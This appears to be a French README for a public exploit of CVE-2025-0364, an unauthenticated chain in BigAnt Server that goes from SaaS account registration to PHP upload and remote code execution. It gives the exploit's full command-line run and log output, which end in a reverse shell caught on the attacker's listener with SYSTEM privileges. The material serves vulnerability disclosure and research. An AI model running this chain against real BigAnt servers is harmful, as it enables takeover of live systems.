CVE-2025-0364 : Contournement de l'inscription de compte BigAntSoft BigAnt Server menant à un RCE par téléversement de fichier

Le serveur BigAnt de BigAntSoft, un serveur de messagerie d'entreprise hébergé sur Windows et destiné aux cas d'usage professionnels, est vulnérable à une exécution de code à distance sans authentification via l'inscription de compte et le téléversement de fichiers PHP. La vulnérabilité exploite une inscription SaaS exposée par défaut qui permet à un attaquant de résoudre un simple CAPTCHA puis de créer un utilisateur administratif pouvant téléverser des fichiers sur l'extension Cloud Storage. Le système autorise le téléversement de fichiers PHP déclenchables sans authentification, ce qui aboutit à une chaîne d'exploitation allant de l'absence d'authentification à l'exécution de code à distance dans toutes les versions actuelles, 5.6.06 et inférieures.

L'équipe VulnCheck a identifié cette vulnérabilité lors du triage de CVE-2024-54761, qui s'est avérée nécessiter un accès administrateur et présenter une valeur CVSS de Privilèges Requis (PR) incorrecte. L'équipe VulnCheck a repéré quelques indicateurs rapides de pratiques de programmation non sécurisées et a choisi d'approfondir ses investigations, ce qui a conduit à la découverte de ce contournement d'authentification et de cette exécution de code à distance par téléversement de fichier. Au moment de la découverte, environ 50 serveurs BigAnt étaient présents sur Internet et, au moment de la publication de cet article de blog, une trentaine d'instances identifiables subsistaient.

Consultez notre blog pour tous les détails techniques et le writeup : https://vulncheck.com/blog/bigant-cve-2025-0364

Construction

Si vous disposez d'un environnement de build Go avec golangci-lint et GNU , vous pouvez utiliser :

poptart@grimm $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e -captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha VKZ6 time=2025-01-09T14:50:18.502-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate" time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337" time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000 time=2025-01-09T14:50:18.620-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true time=2025-01-09T14:50:18.620-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000 time=2025-01-09T14:50:18.650-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06 time=2025-01-09T14:50:18.650-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Password that will be used for authentication: kyLZiAddnH" time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Registering SaaS org: LBJCUE ([email protected]) with password: kyLZiAddnH" time=2025-01-09T14:50:18.675-07:00 level=STATUS msg="Getting new PHP session and pinning the SaaS org to the session" time=2025-01-09T14:50:18.747-07:00 level=STATUS msg="Retrieving org SSID from demo page with session v1cir7mh9v4dfv4ik54mhq6so0" time=2025-01-09T14:50:18.764-07:00 level=STATUS msg="Retrieved SSID for LBJCUE: 387360F0-EECD-622B-5B90-C37F2BBD45B3" time=2025-01-09T14:50:18.765-07:00 level=STATUS msg="Activating SaaS organization" time=2025-01-09T14:50:22.627-07:00 level=STATUS msg="Authenticating to the addin SaaS admin" time=2025-01-09T14:50:22.673-07:00 level=STATUS msg="Visiting SaaS addin cloud drive page" time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Got cloud drive root path UUID: 99C8911A-DCB3-E5F2-4298-1E3567AA0DAD" time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Attempting to upload `JQsaYCKEOu.php` to cloud drive addin" time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Attempting to trigger final payload, timeout is expected after callback" time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Requesting final payload at: http://10.0.0.104:8000/data/387360F0-EECD-622B-5B90-C37F2BBD45B3/pan/99C8911A-DCB3-E5F2-4298-1E3567AA0DAD/2025-01-09/JQsaYCKEOu.php" time=2025-01-09T14:50:22.821-07:00 level=SUCCESS msg="Caught new shell from 10.0.0.104:51690" time=2025-01-09T14:50:22.821-07:00 level=STATUS msg="Active shell from 10.0.0.104:51690" Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>whoami whoami nt authority\system C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>^C

cve-2025-0364

Populaires

Exemple d'exploitation

Récupération du CAPTCHA

CAPTCHA résolu vers inscription de compte SaaS et RCE par téléversement PHP